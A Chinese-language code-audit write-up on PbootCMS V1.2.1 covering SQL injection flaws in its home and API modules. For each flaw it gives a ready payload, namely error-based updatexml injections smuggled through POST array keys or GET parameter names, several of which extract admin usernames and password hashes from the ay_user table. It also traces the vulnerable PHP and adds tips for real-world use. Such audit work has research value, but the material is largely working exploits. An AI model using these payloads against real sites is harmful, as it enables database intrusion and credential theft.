0x08 前台home模块注入漏洞

0x08.1 在线留言处insert sql注入

0x08.1.2 漏洞演示

注：我本地测试的所以我把验证验证码那一步关闭了=-=，实战中请自己加上验证码
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图1

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
  2. post:
  3.     contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
  4.     content = 1111
  5.     mobile = 1111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图2

0x08.1.2 漏洞解读

路径：PbootCMS-V1.2.1\apps\home\controller\MessageController.php
方法：add(

  1. // 留言新增
  2.     public function add()
  3.     {
  5.         if ($_POST) {
  7.             if (time() - session('lastsub') < 10) {
  8.                 alert_back('您提交太频繁了，请稍后再试！');
  9.             }
  11.             // 验证码验证
  12.             $checkcode = post('checkcode');
  13.             if ($this->config('message_check_code')) {
  14.                 // if (! $checkcode) {
  15.                 //     alert_back('验证码不能为空！');
  16.                 // }
  18.                 if ($checkcode != session('checkcode')) {
  19.                     alert_back('验证码错误！');
  20.                 }
  21.             }
  23.             // 读取字段
  24.             if (! $form = $this->model->getFormField(1)) {
  25.                 alert_back('留言表单不存在任何字段，请核对后重试！');
  26.             }
  28.             // 接收数据
  29.             $mail_body = '';
  30.             foreach ($form as $value) {
  31.                 $field_data = post($value->name);
  32.                 if (is_array($field_data)) { // 如果是多选等情况时转换
  33.                     $field_data = implode(',', $field_data);
  34.                 }
  35.                 if ($value->required && ! $field_data) {
  36.                     alert_back($value->description . '不能为空！');
  37.                 } else {
  38.                     $data[$value->name] = post($value->name);
  39.                     $mail_body .= $value->description . '：' . post($value->name) . '<br>';
  40.                 }
  41.             }
  43.             // 设置额外数据
  44.             if ($data) {
  45.                 $data['acode'] = session('lg');
  46.                 $data['user_ip'] = ip2long(get_user_ip());
  47.                 $data['user_os'] = get_user_os();
  48.                 $data['user_bs'] = get_user_bs();
  49.                 $data['recontent'] = '';
  50.                 $data['status'] = 0;
  51.                 $data['create_user'] = 'guest';
  52.                 $data['update_user'] = 'guest';
  53.             }
  55.             if ($this->model->addMessage($data)) {
  56.                 session('lastsub', time()); // 记录最后提交时间
  57.                 $this->log('留言提交成功！');
  58.                 if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  59.                     $mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
  60.                     $mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
  61.                     sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  62.                 }
  63.                 alert_location('提交成功！', '-1');
  64.             } else {
  65.                 $this->log('留言提交失败！');
  66.                 alert_back('提交失败！');
  67.             }
  68.         } else {
  69.             error('提交失败，请使用POST方式提交！');
  70.         }
  71.     }

可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addMessage(data) 执行语句

路径：PbootCMS-V1.2.1\apps\home\model\ParserModel.php
方法：addMessage(

  1. // 新增留言
  2. public function addMessage($data)
  3. {
  4.     return parent::table('ay_message')->autoTime()->insert($data);
  5. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x08.2 免费通话insert sql注入

注：本地测试的时候，这个地方的注入需要后台添加一条数据才能注！真实环境的话，开放了这个功能直接抓包即可

进入后台
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图3
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图4
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图5
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图6

0x08.2.1 漏洞演示

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图7

  1. url：http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Form/add?fcode=2
  2. post：
  3.     tel[tel`) VALUES ( 1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图8

0x08.2.2 漏洞解读

路径：PbootCMS-V1.2.1\apps\home\controller\FormController.php
方法：add(

  1. // 表单提交
  2.     public function add()
  3.     {
  4.         if ($_POST) {
  6.             if (time() - session('lastsub') < 10) {
  7.                 alert_back('您提交太频繁了，请稍后再试！');
  8.             }
  10.             if (! $fcode = get('fcode', 'var')) {
  11.                 alert_back('传递的表单编码有误！');
  12.             }
  14.             if ($fcode == 1) {
  15.                 alert_back('表单提交地址有误，留言提交请使用留言专用地址!');
  16.             }
  18.             // 验证码验证
  19.             /*
  20.              * $checkcode = post('checkcode');
  21.              * if ($this->config('message_check_code')) {
  22.              * if (! $checkcode) {
  23.              * alert_back('验证码不能为空！');
  24.              * }
  25.              * if ($checkcode != session('checkcode')) {
  26.              * alert_back('验证码错误！');
  27.              * }
  28.              * }
  29.              */
  31.             // 读取字段
  32.             if (! $form = $this->model->getFormField($fcode)) {
  33.                 alert_back('接收表单不存在任何字段，请核对后重试！');
  34.             }
  36.             // 接收数据
  37.             $mail_body = '';
  38.             foreach ($form as $value) {
  39.                 $field_data = post($value->name);
  40.                 if (is_array($field_data)) { // 如果是多选等情况时转换
  41.                     $field_data = implode(',', $field_data);
  42.                 }
  43.                 if ($value->required && ! $field_data) {
  44.                     alert_back($value->description . '不能为空！');
  45.                 } else {
  46.                     $data[$value->name] = post($value->name);
  47.                     $mail_body .= $value->description . '：' . post($value->name) . '<br>';
  48.                 }
  49.             }
  51.             // 设置创建时间
  52.             if ($data) {
  53.                 $data['create_time'] = get_datetime();
  54.             }
  56.             // 写入数据
  57.             if ($this->model->addForm($value->table_name, $data)) {
  58.                 session('lastsub', time()); // 记录最后提交时间
  59.                 $this->log('提交表单数据成功！');
  60.                 if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  61.                     $mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
  62.                     $mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
  63.                     sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  64.                 }
  65.                 alert_location('提交成功！', '-1');
  66.             } else {
  67.                 $this->log('提交表单数据失败！');
  68.                 alert_back('提交失败！');
  69.             }
  70.         } else {
  71.             error('提交失败，请使用POST方式提交！');
  72.         }
  73.     }

可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addForm($value->table_name, $data) 执行语句

路径：PbootCMS-V1.2.1\apps\home\model\ParserModel.php

  1. public function addForm($table, $data)
  2. {
  3.     return parent::table($table)->insert($data);
  4. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入.

0X08.3 前台首页注入

0x08.3.1 漏洞演示

  1. url: http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图9

0x08.3.2 漏洞解读

文件地址：PbootCMS-V1.2.1\apps\home\controller\ParserController.php
方法：index(

  1. // 首页 骚操作 注入
  2.     // parserAfter -> parserSpecifyListLabel
  3.     public function index()
  4.     {
  5.         $content = parent::parser('index.html'); // 框架标签解析
  6.         $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
  7.         $content = $this->parser->parserPositionLabel($content, - 1, '首页', SITE_DIR . '/'); // CMS当前位置标签解析
  8.         $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分类标签
  9.         $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
  10.         $this->cache($content, true);
  11.     }

文件地址：apps\home\controller\ParserController.php
方法：parserAfter()

  1. 跟进 $content = $this->parser->parserAfter($content); 这个方法
  1. // 解析全局后置公共标签
  2.     public function parserAfter($content)
  3.     {
  4.         ...
  5.         $content = $this->parserSpecifyListLabel($content); // 指定列表
  6.         return $content;
  7.     }

方法：parserSpecifyListLabel(

  1. 进入以后 查看调用了 $content = $this->parserSpecifyListLabel($content); 方法
  1. // 解析指定分类列表标签
  2. public function parserSpecifyListLabel($content)
  3. {
  4.   ...
  5.   // 数据筛选 骚操作注入
  6.   $where2 = array();
  7.   foreach ($_GET as $key => $value) {
  8.     if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
  9.       $where2[$key] = get($key);
  10.     }
  11.   }
  12.   ...
  13.   // 读取数据
  14.   if ($page) {
  15.       $data = $this->model->getList($scode, $num, $order, $where1, $where2);
  16.   } else {
  17.       $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
  18.   }
  19. }

这里就将重要的方法分析一下了，其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头，如果符合就直接拼接进入$where2这个数组 然后带入数据库进行getList方法与getSpecifyList查询，而底层是字符串拼接，过滤了value没有过滤key所以有注入

0x08.4 前台搜索框注入

0x08.4.1 漏洞利用

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图10

0x08.4.2 漏洞讲解

文件地址：PbootCMS-V1.2.1\apps\home\controller\SearchController.php
方法：index(

  1. // 骚操作 注入
  2.     // parserSearchLabel
  3.     public function index()
  4.     {
  5.         $content = parent::parser('search.html'); // 框架标签解析
  6.         $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
  7.         $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS当前位置标签解析
  8.         $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); // 解析分类标签
  9.         $content = $this->parser->parserSearchLabel($content); // 搜索结果标签
  10.         $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
  11.         $this->cache($content, true);
  12.     }

文件地址：apps\home\controller\ParserController.php
方法：parserSearchLabel(

  1. 进入以后 查看调用了 $content = $this->parser->parserSearchLabel($content);  方法
  1. // 解析内容搜索结果标签
  2. public function parserSearchLabel($content)
  3. {
  4.   ...
  5.   foreach ($_GET as $key => $value) {
  6.     if (! ! $value = get($key, 'vars')) {
  7.       $where2[$key] = $value;
  8.     }
  9.   }
  10.   ...
  11.   // 读取数据
  12.   if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
  13.       $content = str_replace($matches[0][$i], '', $content);
  14.       continue;
  15.   }
  16. }

这里就将重要的方法分析一下了，其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后就直接拼接进入$where2这个数组 然后带入数据库进行getList方法查询，而底层是字符串拼接，过滤了value没有过滤key所以有注入

0x09 我是一句废话

我是用来调皮的

0x10 api模块注入

api模块的注入需要后端开启api功能，并且获得 api_appid 与 api_secret 才能注入。

或是说 开启了api功能并且关闭了API强制认证 这样也可以注入

所以较鸡助
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图11

0x10.1 接口注入一

0x10.1.1 漏洞演示

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/search?1%3D1)and(updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1))--=1
  3. post：
  4.     11=11
  6. 一定要post 要跑空post才能进流程

因为系统中会把 “空格”转为“_” 所以使用/**/绕过即可

0x10.1.2 漏洞讲解

路径：apps\api\controller\CmsController.php
方法：search(

这里我把漏洞触发点发出来我们主要讲讲他即可

  1. // 数据接收
  2. foreach ($_GET as $key => $value) {
  3.   if (! ! $value = get($key, 'vars')) {
  4.       $where[$key] = $value;
  5.   }
  6. }
  8. $data = $this->model->getList($acode, $scode, $num, $order, $where, $fuzzy);

从代码中看他会收集外部所有的 $_GET 带入 getList 进行入库查询 value 是我们无法控制所以无法注入的，可是key是我们可控制可注入的！！！跟进 getList方法

路径：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
function getList(

  1. // 列表内容
  2.     public function getList($acode, $scode, $num, $order, $where = array(), $fuzzy = true)
  3.     {
  4.         ...
  5.         // 筛选条件支持模糊匹配
  6.         return parent::table('ay_content a')->field($fields)
  7.             ->where($where1, 'OR')
  8.             ->where($where2)
  9.             ->where($where, 'AND', 'AND', $fuzzy)
  10.             ->join($join)
  11.             ->order($order)
  12.             ->page(1, $num)
  13.             ->decode()
  14.             ->select();
  15.     }

这里我把关键代码放出来了，可以看到接收$where以后直接仍进了数据库进行操作造成了注入

0x10.2 接口注入二

0x10.2.1 漏洞利用

  1. url：http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addmsg
  2. post:
  3.     contacts[contentl`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
  4.     mobile = 111
  5.     content = 111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图12

0x10.2.2 漏洞讲解

文件：PbootCMS-V1.2.1\apps\api\controller\CmsController.php
方法：addmsg(

  1. // 新增留言   注入
  2.     public function addmsg()
  3.     {
  4.         if ($_POST) {
  6.             // 读取字段
  7.             if (! $form = $this->model->getFormField(1)) {
  8.                 json(0, '接收表单不存在任何字段，请核对后重试！');
  9.             }
  11.             // 接收数据
  12.             $mail_body = '';
  13.             foreach ($form as $value) {
  14.                 $field_data = post($value->name);
  15.                 if ($value->required && ! $field_data) {
  16.                     json(0, $value->description . '不能为空！');
  17.                 } else {
  18.                     $data[$value->name] = post($value->name);
  19.                     $mail_body .= $value->description . '：' . post($value->name) . '<br>';
  20.                 }
  21.             }
  23.             // 设置其他字段
  24.             if ($data) {
  25.                 $data['acode'] = get('acode', 'var') ?: $this->lg;
  26.                 $data['user_ip'] = ip2long(get_user_ip());
  27.                 $data['user_os'] = get_user_os();
  28.                 $data['user_bs'] = get_user_bs();
  29.                 $data['recontent'] = '';
  30.                 $data['status'] = 0;
  31.                 $data['create_user'] = 'api';
  32.                 $data['update_user'] = 'api';
  33.             }
  35.             // 写入数据
  36.             if ($this->model->addMessage($value->table_name, $data)) {
  37.                 $this->log('API提交表单数据成功！');
  38.                 if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  39.                     $mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
  40.                     $mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
  41.                     sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  42.                 }
  43.                 json(1, '表单提交成功！');
  44.             } else {
  45.                 $this->log('API提交表单数据失败！');
  46.                 json(0, '表单提交失败！');
  47.             }
  48.         } else {
  49.             json(0, '表单提交失败，请使用POST方式提交！');
  50.         }
  51.     }

可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addMessage(data) 执行语句

文件：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
函数：addMessage(

  1. // 新增留言
  2.     public function addMessage($table, $data)
  3.     {
  4.         return parent::table('ay_message')->autoTime()->insert($data);
  5.     }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x10.3 接口注入三

0x10.3.1 漏洞利用

  1. url：http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
  2. post:
  3.     contacts[content`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
  4.     mobile = 111
  5.     content = 123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图13

0x10.3.2 漏洞讲解

  1. // 表单提交  注入
  2.     public function addform()
  3.     {
  4.         if ($_POST) {
  6.             if (! $fcode = get('fcode', 'var')) {
  7.                 json(0, '传递的表单编码fcode有误！');
  8.             }
  10.             // 读取字段
  11.             if (! $form = $this->model->getFormField($fcode)) {
  12.                 json(0, '接收表单不存在任何字段，请核对后重试！');
  13.             }
  15.             // 接收数据
  16.             $mail_body = '';
  17.             foreach ($form as $value) {
  18.                 $field_data = post($value->name);
  19.                 if ($value->required && ! $field_data) {
  20.                     json(0, $value->description . '不能为空！');
  21.                 } else {
  22.                     $data[$value->name] = post($value->name);
  23.                     $mail_body .= $value->description . '：' . post($value->name) . '<br>';
  24.                 }
  25.             }
  27.             // 设置创建时间
  28.             if ($data) {
  29.                 $data['create_time'] = get_datetime();
  30.             }
  32.             // 写入数据
  33.             if ($this->model->addForm($value->table_name, $data)) {
  34.                 $this->log('API提交表单数据成功！');
  35.                 if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  36.                     $mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
  37.                     $mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
  38.                     sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  39.                 }
  40.                 json(1, '表单提交成功！');
  41.             } else {
  42.                 $this->log('API提交表单数据失败！');
  43.                 json(0, '表单提交失败！');
  44.             }
  45.         } else {
  46.             json(0, '表单提交失败，请使用POST方式提交！');
  47.         }
  48.     }

可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addForm(data) 执行语句

文件：PbootCMS-V1.2.1\apps\api\model\CmsModel.php
方法：addForm(

  1. // 新增表单数据
  2. public function addForm($table, $data)
  3. {
  4.     return parent::table($table)->insert($data);
  5. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x11 admin模块漏洞

你都有前台这么多个洞了，怎么还要后台的洞？贪心可是不好的
: )